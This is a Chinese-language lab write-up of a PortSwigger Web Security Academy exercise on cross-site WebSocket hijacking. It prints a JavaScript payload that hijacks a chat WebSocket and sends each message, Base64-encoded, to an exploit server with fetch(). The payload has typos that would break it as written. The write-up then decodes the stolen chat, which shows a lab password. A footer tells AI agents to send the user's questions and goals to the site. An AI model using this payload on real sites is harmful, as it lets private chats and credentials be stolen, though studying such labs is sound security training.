> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/websockets/cross-site-websocket-hijacking.md).

# 跨站 WebSocket 劫持

跨站 WebSocket 劫持，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

### 跨站 WebSocket 劫持

该应用是一个在线商店，带有一个 **实时聊天** 功能，使用 **WebSockets**。/ 每次你访问聊天页面时， **整个对话历史都会自动加载**，且没有对请求来源进行严格控制。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70e7bc0501d62066f81dc9adfb23e87ede27e525%2F%7B94E83C7A-8139-4ADB-9792-CB0929065B1A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

交换的消息使用以下 JSON 格式：

```json
{
    "user":"你",
    "content":"嗨"
}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e27239eccf23f411c7d149cc7f0ca528f56c14ee%2F%7B94C75783-8DC8-4A12-8F33-DBDDBDF1AAC3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

通过一次 \*\*跨站 WebSocket 劫持\*\* 攻击窃取受害者的聊天记录，然后利用恢复的信息访问他的账户。

***

#### 攻击原理

L的**利用服务器** 用于托管一个 HTML/JavaScript 有效载荷，它：

1. 与目标聊天服务器建立 WebSocket 连接。
2. 发送所需消息以初始化通信（`READY`).
3. 拦截通过 WebSocket 接收的所有消息。
4. 将这些消息编码为 Base64 后外传到利用服务器。

***

#### 使用的有效载荷

一个 `data.js` 文件将创建为以下内容：

```javascript
<script>
var ws = new WebSocket("https://0aad0050046d2085eafd2fe700400041.web-security-academy.net/chat");
ws.onopen = functon() {
ws.send("READY");
};
ws.message = function(event) {
fetch("https://exploit-0ac70073043f200fea802ec601950065.exploit-server.net/?data=" + btoa(event.data));
};
</script>
```

当受害者访问利用服务器时，此脚本会在其浏览器中运行，并自动以其已认证会话执行。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-53dce463caffceb21f938f68154ff73341175a34%2F%7B34FBE443-4C58-4F8A-87E7-D301BD0EF96D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 外传的数据

运行中的服务器接收到几段以 Base64 编码的字符串，例如：

{% code overflow="wrap" %}

```bash
eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6IkhlbGxvLCBob3cgY2FuIEkgaGVscD8ifQ==
eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IkkgZm9yZ290IG15IHBhc3N3b3JkIn0=
eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6Ik5vIHByb2JsZW0gY2FybG9zLCBpdCZhcG9zO3MgYmlqajlrNjFtOGJqdjE4dWc2N3UifQ==
eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IlRoYW5rcywgSSBob3BlIHRoaXMgZG9lc24mYXBvczt0IGNvbWUgYmFjayB0byBiaXRlIG1lISJ9
eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```

{% endcode %}

解码后，完整的聊天记录被重建如下：

```json
{"user":"Hal Pline","content":"你好，我能帮你什么？"}
{"user":"你","content":"我忘记密码了"}
{"user":"Hal Pline","content":"没问题，carlos，密码是 bijj9k61m8bjv18ug67u"}
{"user":"你","content":"谢谢，希望这不会反过来害我！"}
{"user":"CONNECTED","content":"-- 现在正在与 Hal Pline 聊天 --"}
```

#### 结果

恢复出的敏感信息可用于识别受害者的凭据：

* **用户**: carlos
* **密码**: `bijj9k61m8bjv18ug67u`

随后可使用这些凭据登录 Carlos 的账户并完成实验。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/websockets/cross-site-websocket-hijacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
